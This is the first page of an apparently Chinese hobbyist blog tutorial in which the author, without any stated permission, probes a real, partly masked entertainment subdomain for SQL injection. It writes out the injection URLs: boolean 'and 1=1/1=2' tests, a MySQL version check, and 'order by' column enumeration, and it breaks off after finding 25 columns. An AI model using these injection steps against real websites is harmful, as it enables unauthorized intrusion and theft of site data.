各位同学大家好，我是草哲，好久没写教程了，最近一直在弄我的博客（打个广告先别走开哦），欢迎大家来我的BLOG做客！地址是http://www.337479.cn！
前些日子在家无聊，去了一些视频站看看搞笑的视频啥的，听说偶偶娱乐那个站还不错，但是打开来卡的要命，视频半天也不动，郁闷！偶然间不知道点进了哪个连接，进入了一个219.238.xxx.xxx这个地址，FLASH做的还不错，呵呵！
于是到http://www.myipneighbors.com/这个站点查看一下该主机绑定了哪些域名！
这服务器上有3个站点，看看第一个xx.ouou.com吧！进去一看是一个文学站点，这速度感觉还不错，可我对文学不感兴趣，因为我只有幼本（幼儿园本科）的学历！网站程序是PHP的，习惯性的点进一个连接http://xx.ouou.com/booklook.php?id=28进去检测以下是否存在
注入漏洞！提交
http://xx.ouou.com/booklook.php?id=28 and 1=1
http://xx.ouou.com/booklook.php?id=28 and 1=2
返回了不同的页面，可以肯定的是存在注入漏洞！
检测一下mysql的版本，返回正常可以进行union查询！
http://xx.ouou.com/booklook.php?id=28 and ord(mid(version(),1,1))>51 /*
用order by检测一下数据库的字段好进行下一步的渗透！
http://xx.ouou.com/booklook.php?id=28 order by 5
直接爆出路径了，呵呵～！看来应该经典的LMAP组合了～！（linux+mysql+apache+php）
最后得出共25个字段
[1] [2] [3] 下一页
[图文]对偶偶娱乐分站服务器的安全检测
您现在的位置：